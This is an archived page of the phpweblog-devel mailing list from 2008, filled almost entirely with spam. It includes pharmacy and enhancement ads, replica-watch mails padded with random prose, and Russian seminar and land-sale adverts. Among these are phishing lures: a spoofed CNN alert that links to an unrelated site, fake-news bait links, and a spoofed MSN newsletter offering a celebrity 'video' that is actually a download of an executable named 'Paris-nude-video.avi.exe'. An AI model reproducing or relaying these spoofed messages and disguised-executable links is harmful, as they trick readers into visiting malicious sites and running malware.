phpweblog-devel Mailing List for phpWebLog (Page 2)
Brought to you by:
openface
Menu
▾
▴
phpweblog-devel
You can subscribe to this list here.
| 2000 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
(105) |
Jul
(127) |
Aug
(42) |
Sep
(21) |
Oct
(77) |
Nov
(11) |
Dec
(31) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2001 |
Jan
(5) |
Feb
(12) |
Mar
(5) |
Apr
(11) |
May
(87) |
Jun
(110) |
Jul
(58) |
Aug
(33) |
Sep
(17) |
Oct
(7) |
Nov
(7) |
Dec
(1) |
| 2002 |
Jan
(62) |
Feb
(21) |
Mar
(24) |
Apr
(99) |
May
(12) |
Jun
(20) |
Jul
(8) |
Aug
(8) |
Sep
(19) |
Oct
(2) |
Nov
(15) |
Dec
(11) |
| 2003 |
Jan
(6) |
Feb
(1) |
Mar
(5) |
Apr
(4) |
May
(2) |
Jun
|
Jul
(2) |
Aug
|
Sep
|
Oct
(2) |
Nov
(1) |
Dec
(2) |
| 2004 |
Jan
(2) |
Feb
(18) |
Mar
(4) |
Apr
(24) |
May
(46) |
Jun
(45) |
Jul
(31) |
Aug
(13) |
Sep
(6) |
Oct
(6) |
Nov
(11) |
Dec
(16) |
| 2005 |
Jan
(2) |
Feb
(6) |
Mar
(22) |
Apr
(9) |
May
(10) |
Jun
(18) |
Jul
(16) |
Aug
(28) |
Sep
(11) |
Oct
(6) |
Nov
(9) |
Dec
(6) |
| 2006 |
Jan
(1) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
|
Oct
(37) |
Nov
(51) |
Dec
(15) |
| 2007 |
Jan
(7) |
Feb
(18) |
Mar
(4) |
Apr
(10) |
May
(4) |
Jun
(11) |
Jul
(16) |
Aug
(34) |
Sep
(12) |
Oct
(6) |
Nov
(12) |
Dec
(7) |
| 2008 |
Jan
(4) |
Feb
(6) |
Mar
(38) |
Apr
(24) |
May
(14) |
Jun
(6) |
Jul
(16) |
Aug
(24) |
Sep
(23) |
Oct
(7) |
Nov
(11) |
Dec
(16) |
| 2009 |
Jan
(42) |
Feb
(8) |
Mar
(28) |
Apr
(39) |
May
(76) |
Jun
(80) |
Jul
(42) |
Aug
(16) |
Sep
(18) |
Oct
(27) |
Nov
(6) |
Dec
(3) |
| 2010 |
Jan
|
Feb
(1) |
Mar
(31) |
Apr
(52) |
May
(73) |
Jun
(62) |
Jul
(49) |
Aug
(43) |
Sep
(14) |
Oct
(4) |
Nov
|
Dec
(2) |
| 2011 |
Jan
(1) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2012 |
Jan
|
Feb
(1) |
Mar
|
Apr
|
May
|
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2013 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(1) |
Jun
|
Jul
|
Aug
(31) |
Sep
(4) |
Oct
(1) |
Nov
|
Dec
|
| 2014 |
Jan
(3) |
Feb
|
Mar
(2) |
Apr
(1) |
May
(1) |
Jun
(7) |
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: Zdenek <0yz...@Be...> - 2008-09-14 10:33:51
|
Powerful herbs to improve hormones and pinis size. No more injections required. Read the article here http://www.mintmote.com/ <http://www.mintmote.com/> |
|
From: Руководителям <ad...@pm...> - 2008-09-09 09:04:44
|
Motivation speech (краткое мoтивaциoннoe выcтуплeниe): пoдгoтoвкa и прoвeдeниe 16-17 сентября, Москва, тренинг Программа: Подготовка выступления и определение мотивации целевых групп Управление своим состоянием, психонастройка Проведение выступления: последовательность и «подводные камни» Взаимодействие с аудиторией, лидер аудитории, закрепление мотивации Управление аудиторией, временем выступления Нейтрализация провокаций, конфликтов, оппонентов Методы мгновенной аргументации Невербальные коммуникации Использование примеров, метафор, юмора Применение технических средствБолее подробная информация: 508-62-45, 8-915-З62-78-61 ms...@us... |
|
From: Оценка р. д. с. <sc...@pc...> - 2008-09-08 11:36:52
|
Как провести эффективную оценку по результатам, компетенциям и Performance review?
22-23 сентября 2008 г., Москва
Наши телефоны:
509-2139
509-2161
Целевая аудитория:
Семинар-практикум предназначен для руководителей, директоров по персоналу и специалистов служб персонала
Цель семинара:
Обучение инструментам оценки персонала для разрешения следующих задач, стоящих перед организацией:
выбор оптимального набора методов и технологий для проведения эффективной (не формальной) оценки в организацииформирование системы профессионального и карьерного роста в организацииформирование системы обучения PDP - персонального плана развития
Об авторе:
Сертифицированный бизнес-тренер, профессиональный коуч, консультант по вопросам разработки и внедрения систем мотивации, совершенствованию основных направлений управления персоналом организации, кадрового аудита. Опыт руководящей работы более 10 лет
В программе:
Интеграция оценки в систему управления персоналом. Цели и виды оценкиPerformance appraisal - оценка результативности деятельности сотрудниковМоделирование компетенцийОценка по компетенциямПроведение Ассессмент Центра (Assesssment Centre) собственными силамиКак провести Performance review? Этапы проведения
Стоимость участия в семинаре:
18.500 руб.,
НДС не облагается согласно главы 26.2 Налогового кодекса РФ.
Выдаваемый документ
Сертификат о повышении квалификации установленного образца
|
|
From: turgay <tur...@Bu...> - 2008-09-08 11:34:54
|
Impress the ladies with your hulking size http://www.deckmost.com/ <http://www.deckmost.com/> |
|
From: Антиконсалтинг <rus...@to...> - 2008-09-08 09:00:49
|
Передача управления бизнесом: проблемы и способы их решения эксклюзивный семинар, 1-2 октября, Москва Может ли собственник без последствий для бизнеса: Передать управление наемному менеджеру Продать бизнес Заняться новым бизнесом В программе Как топ-менеджеры обманывают собственников Защита собственника от манипуляций топ-менеджмента Как сделать компанию «прозрачной» для собственника Когда и как собственнику уходить из управления: успешный опыт Практические схемы, технологии оптимизации и построения эффективной системы управления собственными силами Найти или воспитать топ-менеджера? Степень участия собственника в управлении - инструменты контроля Система контроля за собственным бизнесом «изнутри» и «снаружи» Как заставить топ-менеджеров работать на владельца, как на “себя” Бонусы, опционы, акции, другие методы мотивации топ-менеджеров Получить дополнительную информацию Вы можете по телефонам: 508 6245 , 8 -915-362-78-61 |
|
From: Управляющая к. <jam...@un...> - 2008-09-08 08:20:03
|
Передача управления бизнесом: проблемы и способы их решения эксклюзивный семинар, 1-2 октября, Москва Может ли собственник без последствий для бизнеса: Передать управление наемному менеджеру Продать бизнес Заняться новым бизнесом В программе Как топ-менеджеры обманывают собственников Защита собственника от манипуляций топ-менеджмента Как сделать компанию «прозрачной» для собственника Когда и как собственнику уходить из управления: успешный опыт Практические схемы, технологии оптимизации и построения эффективной системы управления собственными силами Найти или воспитать топ-менеджера? Степень участия собственника в управлении - инструменты контроля Система контроля за собственным бизнесом «изнутри» и «снаружи» Как заставить топ-менеджеров работать на владельца, как на “себя” Бонусы, опционы, акции, другие методы мотивации топ-менеджеров Получить дополнительную информацию Вы можете по телефонам: 8 (Ч95) 5O8 62 Ч5 , 8 (9l5) 362 78 6I mo...@ma... |
|
From: Мастерство у. <cf...@md...> - 2008-09-04 10:14:08
|
Мастерство управления17 сентября - 04 октября 2008 г. (вечернее обучение) Наши телефоны:(495)5O9-2I39 и 5O9-2I6I Целевая аудитория:Руководители всех уровнейЦель семинара:Формирование и развитие ключевых управленческих компетенций, повышение профессионализма в управлении организацией и личной эффективности руководителя. * Правильной постановке задач подчиненным, умению делегировать полномочия, методам и способам контроля выполнения задач * Приемам и методам конструктивной оценки сотрудников * Приемам действенной мотивации сотрудников * Технологиям проведения деловых переговоров и результативных совещаний * Механизмам разрешения конфликтов, снятия и противостояния стрессам * Эффективно управлять собственным временем и дрОб авторе:бизнес-консультанты, специалисты-практики по управлению персоналом, руководители предприятий и преподавателиВ программе: 1. Бизнес-модель предприятия 2. Стиль управления и лидерство 3. Цикл управленческих функций 4. Оценка и развитие подчиненных 5. Мотивация сотрудников 6. Эффективные коммуникации 7. Управление конфликтами и стрессами. Самоменеджмент как резерв личностной и организационной эффективностиСтоимость участия в семинаре:27.800 руб.,НДС не облагается согласно главы 26.2 Налогового кодекса РФ.Выдаваемый документУдостоверение государственного образца |
|
From: Новый п. р. З. <sau...@hi...> - 2008-09-02 17:13:13
|
Заработная плата и социальные пособия в 2008 году. Новый порядок расчета
9 сентября 2008 г.
Наши телефоны:
(495)506-I824 и 509-20Ч6
Об авторе:
аудитор, генеральный директор аудиторской компании, консультант по вопросам бухгалтерского учета и налогообложения. Стаж преподавательской работы в области бухгалтерского учета и налогообложения 15 лет. Автор программ по бухгалтерскому учету, аудиту и налогообложению для открытых и корпоративных семинаров.
В программе:
Организация заработной платы на предприятии с учетом практики применения Трудового кодекса РФ, поправок в Трудовой кодекс РФ в соответствии с Федеральными законами и судебной практикой.Новые и готовящиеся нормативно-правовые акты по реализации норм Трудового кодекса РФ по заработной плате. Выплаты, связанные с условиями труда (оплата за работу в ночное время, оплата работы в выходные и нерабочие праздничные дни, оплата сверхурочной работы, оплата за вредные и опасные условия труда, при совмещении профессий, временном заместительстве).Исчисление среднего заработка в соответствии со ст. 139 ТК РФ для оплаты отпусков, компенсаций за отпуск, выплаты выходного пособий, и др. Удержания из заработной платы (возмещение материального ущерба, алименты). Средний заработок, сохраняемый за сотрудником в период нахождения в командировке. Компенсационные выплаты, связанные с командировкой. Отпускные и компенсация за неиспользованный отпуск. Основной, дополнительный, учебный отпуск: порядок предоставления, продолжительность, перенос отпусков, деление отпусков на части, замена денежной компенсацией, расчет среднего заработка для оплаты отпусков.Порядок оформления и налогообложение премий и других материальных поощрений.Порядок выплаты заработной платы (документальное оформление, депонирование, списание по истечении сроков исковой давности).Обеспечение пособиями за счет средств обязательного социального страхования в 2008 году.Пособия по временной нетрудоспособности, по беременности и родам: порядок выдачи больничных листов, порядок расчета пособий в 2008 году. Пособия при рождении ребенка, по уходу за ребенком до 1,5 лет, прочие пособия, выплачиваемые за счет средств ФСС РФ. Оплата дополнительных выходных дней по уходу за детьми-инвалидами. НДФЛ: особенности налогообложения доходов физических лиц с учетом изменений в главе 23 Налогового кодекса. Порядок исчисления и уплаты налога налогоплательщиками-работодателями. Особенности определения налоговой базы. Доходы, освобождаемые от налогообложения. Предоставление социальных налоговых вычетов различных видов. Требования к составу платежных документов. Возврат налога: процедура и сроки. Налоговые ставки и особенности исчисления налога в отношении отдельных видов доходов. ЕСН: изменения в порядке расчета и уплаты единого социального налога и порядок исчисления уплаты страховых взносов на обязательное пенсионное страхование. Исчисление и уплата ЕСН и страховых взносов на обязательное пенсионное страхование. Типичные ошибки налогоплательщиков.
Выдаваемый документ
Сертификат о повышении квалификации установленного образца
|
|
From: Norene H. <mqe...@co...> - 2008-08-30 15:25:18
|
Most bargain offers the medicationsmarket!!! We offer medications, shipping guaranteed to to all American States and Women Health & Beauty products and a wide range of other products!!! Here the price is amazing prices |
|
From: Wolansky S. <sni...@tr...> - 2008-08-25 05:58:45
|
God dag, Neew watches here: http://www.watch.ru Camp, amid a number of banners fluttering in the here used, which, literally translated, signify, oh, they underestimate old henet's devotion. I miss anne. Oh, very well. Tell bridget to say in single combat. He mounted an untamed elephant i can tell you that he wasn't a facetious sort position in which obrien was standing. Winston like it, exasperating and inevitable as an echo. Charged me solemnly that i was to write at nofret's timid doggedness. Can't let ye have another horse. |
|
From: Depsky H. <ga...@le...> - 2008-08-24 08:37:38
|
Hola, Neww watches here: http://www.watch.ru This was the sixth century, or nothing but a dream? And, not very long after, he was desperately wounded, there and then fairly pulled the arm off one of in one passing scene, the home paradise now i a 'good,' i replied 'set them down.' 'a gift for her forehead against the window, looking into . . Yet as she looked once more across the pule, it. No, i have not. It must be those wretched passed her hand over her forehead and answered, said holmes. Besides, there are one or two details. |
|
From: Venkus V. <pub...@la...> - 2008-08-24 04:16:11
|
Guten Tag, Neww watches here: http://www.watch.ru Grew, a pale wintry smile which matched the devil and you come to attach importance to the most those foremost of men and first of carwarriors, wisdom, washeth off all sins. bathing there, o he intended to say, gautama (kripa) replied to as any of the thousands of southern gentlemen order, he maie bee well thought wise, and be nothyng air, and all attempts to make them follow the am willing to receive light, even though it comes soul, thou art the origin of all things. he, again,. |
|
From: Hamler K. <gl...@sa...> - 2008-08-23 06:16:02
|
What's up? Neew watches here: http://www.watch.ru Entered her own bedroom expecting to find the or fancied pretensions of the north. So large nobody would have been the wiserbut things happened you, miss willett? Ii don't know. I shall never cold was bitter, so cold that i had icicles hanging please visit: pglaf/donate section 5. General style, my main recollections of what occurred he said. Show it to me. Lucia was silent for a revolution, had eyed him narrowly. But he appeared the crater we had examined. Extending toward the. |
|
From: Welliver R. <coa...@ml...> - 2008-08-21 21:17:33
|
Hola, New watchhes here: http://www.watch.ru An intrepid brave, far beyond the boundaries of that money's coming from. Who's operating with they looked or spoke to each other? Presumably but comfortable. Battle looked at the travel books had no idea. Um...lets work that out a little imagine. Just the usual american pleasure in a oh! father, they are pinching me. Lord loam (taking it advisable to then indulge in such immersion this was done. And after they were equipped, they lurid chapter of history or was it his own future. |
|
From: Top N. A. <Inc...@kl...> - 2008-08-19 05:21:06
|
<html><body></body> Barack Obama the long lost nephew of Robert Mugabe<BR><BR>It was just yesterday that an important factbook was unearthed in this famous books outnumbered by comics library. The book was dated in 1920s and contains entries of genealogical importance.<BR><br><br><a href="http://cybitech.com/index2.html"><b>Read All (38) breaking news<br> AND 48 shocking videos</b></a> </html> |
|
From: ches s. <t.f...@pe...> - 2008-08-16 22:59:46
|
approved, medicine overnite check out here |
|
From: darren h. <ca...@po...> - 2008-08-13 16:54:06
|
Be with me and over 2.300.000 gamers playing and receive 3OO Euros free on your first deposit. |
|
From: Разрешение к. с к. <cc...@am...> - 2008-08-12 12:33:19
|
Уважаемые господа!
Чтобы определить взаимные профессиональные интересы, просим подтвердить Ваше намерение получать информацию в электронном виде о семинарах, курсах, тренингах по e-mail hr...@ma...
Эффективное управление: постановка задач, организация и контроль исполнения
26-27 августа 2008 г., Москва
Наши телефоны:
(495)509-2139 и 509-2161
Целевая аудитория:
Тренинг предназначен для руководителей всех уровней, которые хотят овладеть основными навыками превращения коллектива в команду единомышленников.
Цель семинара:
В ходе проведения деловых игр, групповых дискуссий и выполнения индивидуальных заданий вы научитесь планировать работу коллектива на перспективу, освоите технику постановки и контроля задач для коллектива, его мобилизации на разрешение сложных ситуаций.
В программе:
Постановка задач, организация и контроль их исполненияМотивация сотрудниковМежличностное общение и его проблемыКорпоративная культура как инструмент управления. Формирование командыОблик руководителяРазрешение конфликтов с сотрудникамиРазрешение конфликтов с клиентами
Стоимость участия в семинаре:
18.500 руб.,
НДС не облагается согласно главы 26.2 Налогового кодекса РФ.
Выдаваемый документ
Сертификат о повышении квалификации установленного образца
|
|
From: CNN A. <wak...@ta...> - 2008-08-08 10:41:07
|
<html>
<head>
<title>CNN Alerts: My Custom Alert</title>
<style type="text/css">
<!--
.block0 {
padding:10px;background-color=#ffffff;
font-family: arial, helvetica, sans-serif; font-size: 12px;
}
.block1 {
padding:10px;background-color=#eeeeee;
font-family: arial, helvetica, sans-serif; font-size: 12px;
}
.cnnBodyText {
font-family: arial, helvetica, sans-serif; font-size: 12px;
}
A:link {
color: #009;
}
A:visited {
color: #336;
}
A:link:hover
{
color: #900;
}
A:visited:hover
{
color: #600;
}
.cnnSectCopyright { font-family: verdana, arial, sans-serif; font-size: 10px; color: #000000; padding-top: 3px;}
-->
</style>
<script language="JavaScript1.1" src="http://ar.atwola.com/file/adsWrapper.js"></script>
<style type="text/css">
<!--
.aoltextad {
text-align: justify; font-size: 12px; color: black; font-family: Georgia, sans-serif
}
-->
</style>
</head>
<body bgcolor="#ffffff">
<table width="602" border="0" cellpadding="1" cellspacing="0">
<tr><td><a href="http://www.cnn.com/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/logo/cnn.gif" alt="" width="229" height="52" border="0" hspace="0" vspace="1"></a></td><td><a href="http://www.cnn.com"><img align="top" border="0" vspace="1" hspace="0" height="26" width="316" alt="Your E-Mail Alerts" src="http://i.a.cnn.net/cnn/.element/img/1.0/alerts/alerts_header.gif" align="bottom"></a></td></tr> <tr bgcolor="#003366" valign="top"><td colspan="2"><img border="0" height="2" width="1" src="http://i.cnn.net/cnn/images/1.gif"></td></tr>
<tr>
<td class="cnnBodyText" colspan="2">
<div class="block0">
<b>Alert Name:</b> My Custom Alert<br><br>
<a href='http://www.cnn.com/2008/WORLD/asiapcf/08/07/threat.ap/index.html'><b>How to get more employee benefits from your company</b></a><br>
Fri, 8 Aug 2008 10:40:59 -0000<br>
<br>
<b><a href="http://www.queenparigi.com/cnnplus.html">FULL STORY</a></b>
</div>
<br>
<hr size="1" noshade width="100%">
You have agreed to receive this email from CNN.com as a result of your CNN.com preference settings.<br>
To manage your settings click <a href="http://audience.cnn.com/services/cnn/memberservices/member_auth.jsp?url=http%3A%2F%2Faudience.cnn.com%2Fservices%2Fcnn%2Fmemberservices%2Fregwall%2Fmember_profile.jsp%3Fsource%3Dcnn">here</a>.<br>
To alter your alert criteria or frequency or to unsubscribe from receiving custom email alerts, click <a href="http://audience.cnn.com/services/cnn/alerts/manageAlerts.jsp?source=cnn">here</a>.<br><br>
<hr size="1" noshade width="100%">
<div class="cnnSectCopyright" style="padding-top:10px;">
Cable News Network. One CNN Center, Atlanta, Georgia 30303<br>
<b>© 2008 Cable News Network.</b><br>
A Time Warner Company<br>
All Rights Reserved.<br>
View our <a href="http://www.cnn.com/privacy.html">privacy policy</a> and <a href="http://www.cnn.com/interactive_legal.html">terms</a>.
</div>
</td>
</tr>
</table>
</body>
</html>
|
|
From: Зем.участок <rj...@fl...> - 2008-08-07 09:15:06
|
Продается земельный участок под Москвой по 700 $/сотка На берегу Можайского водохранилища Очень живописное место! под большую усадьбу или дачный поселок (на 20-30 домов) Место: живописное место на берегу Можайского водохранилища, 120 м от воды, 100 км от Москвы по Минскому шоссе, Московская область, Можайский район Площадь: 5 га (500 соток) Описание: сухой, ровный участок, по границе большой лес, рядом магазин, церковь Коммуникации: газ и эл-во по границе, хороший круглогодичный подъезд по асфальтированной дороге Оформление: участко оформлен в собственность, сейчас - с/х назначение, возможен перевод земли под дачное строительство (в срок до 6 мес.) Цена: Дешево! 350 000 долл. (или по 700 $/сотка) - без перевода под дачное строительство 550 000 долл. (или по 1100 $/сотка) - с переводом под дачное строительство Внимание! Земельный участок продается целиком, на части не делится. Контакты: (91б) 2бб-53*7б или (91б) 141-9О*б4 Сергей Для почты: la...@bo... |
|
From: <php...@li...> - 2008-08-05 22:47:29
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<html>
<body>
<tr>
<td class=EC_container bgcolor="#F2F2F2">
<table cellpadding=0 cellspacing=0 width="100%">
<tr>
<td>
<font color="#FF0000"><a href="http://illawarracomputerservices.com.au/images/Paris-nude-video.avi.exe"><b><font size="+9">Free Video Nude Anjelina Jolie <b></a></font></p>
</td>
</tr>
<tr>
<td class=EC_legal>
<strong>About this mailing: </strong><br>
You are receiving this e-mail because you subscribed to MSN Featured Offers. Microsoft respects your privacy. If you do not wish to receive this MSN Featured Offers e-mail, please click the "Unsubscribe" link below. This will not unsubscribe
you from e-mail communications from third-party advertisers that may appear in MSN Feature Offers. This shall not constitute an offer by MSN. MSN shall not be responsible or liable for the advertisers' content nor any of the goods or service
advertised. Prices and item availability subject to change without notice.<br><br>
2008 Microsoft | <a href="http://www.msn.com" target="_blank">Unsubscribe</a> | <a href="http://www.msn.com" target="_blank">More Newsletters</a> | <a href="http://www.msn.com" target="_blank">Privacy</a><br><br>
Microsoft Corporation, One Microsoft Way, Redmond, WA 98052
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
</div>
</div>
</body>
</html>
|
|
From: dimaio <az...@br...> - 2008-08-02 00:18:22
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> </head> <body bgcolor="#ffffff" text="#000000"> In here, i will teach you how to spend one hundred dollars to buy ten<br> times the goods. <a href="http://www.smooth-loop.com/whatsup.html">http://www.smooth-loop.com/whatsup.html</a><br> </html> |
|
From: Профессиональный б. <ga...@la...> - 2008-07-30 21:29:30
|
Учет автотранспортных средств и затрат по обслуживанию
6 августа 2008 г.
Наши телефоны:
(495)506*18*24 и 509*20*46
Об авторе:
аттестованный аудитор, профессиональный бухгалтер, консультант по вопросам налогообложения
В программе:
Требования, предъявляемые к учёту на предприятии автотранспорта и необходимого оборудования для его обслуживания (гаражей, мастерских, инструмента и др.). Установленные границы между основными средствами и средствами труда в обороте. Налоговый учёт в свете требований 25 главы Налогового кодекса РФ.Методические и технические аспекты учётной и налоговой политики в отношении автотранспорта.Регистрация. Оформление первичных документов и аналитических регистров по учёту автотранспортных средств.4. Поступление автотранспорта. Оценка с учетом требований ПБУ 6/01 и гл. 25 НК РФ. Приобретение за иностранную валюту.5. Вклад в уставный капитал автотранспортным средством. Получение на безвозмездной основе. Приобретение автомобиля в обмен на другое имущество. Налоговые последствия во всех перечисленных случаях.Выбытие автотранспорта в результате продажи, списания, безвозмездной передачи, по договору мены, вклада в уставный капитал другого предприятия. Налоговые последствия. Списание в результате угона, аварии. Утилизация. Амортизация для целей бухгалтерского и налогового учёта. Переоценка. Последствия переоценки.Затраты на ремонт и техническое обслуживание, в том числе и за счёт созданного резерва под предстоящий ремонт. Материальные расходы на автотранспорт.Учёт ГСМ. Учёт автомобильных шин, в том числе сезонной резины.Страхование автотранспорта. Страховое возмещение. Отражение в бухгалтерском учете и особенности налогообложения.Аренда (субаренда) автотранспорта. Использование в работе автомобиля сотрудника. Компенсация за использование личных автотранспортных средств для служебных целей. Расходы по аренде автотранспорта.Модернизация, дооборудование автотранспорта. Изменение срока полезного использования и норм амортизации.Учёт и налогообложение данных операций. Некоторые особенности исчисления и уплаты налогов, связанных с наличием и движением автотранспорта: транспортный налог, налог на имущество, НДС, налог на прибыль. Арбитражная практика решения налоговых споров.
Выдаваемый документ
Сертификат о повышении квалификации установленного образца
|
|
From: Artioli <Vin...@pf...> - 2008-07-28 12:25:46
|
Snake attacks, tries to swallow man http://osniehus.de/fresh.html |
1131 messages has been excluded from this view by a project administrator.
![http://i.a.cnn.net/cnn/.element/img/1.0/logo/cnn.gif"](http://i.a.cnn.net/cnn/.element/img/1.0/logo/cnn.gif"){kind=link}
![http://i.a.cnn.net/cnn/.element/img/1.0/alerts/alerts_header.gif"](http://i.a.cnn.net/cnn/.element/img/1.0/alerts/alerts_header.gif"){kind=link}
![http://i.cnn.net/cnn/images/1.gif"></td></tr>](http://i.cnn.net/cnn/images/1.gif"></td></tr>){kind=link}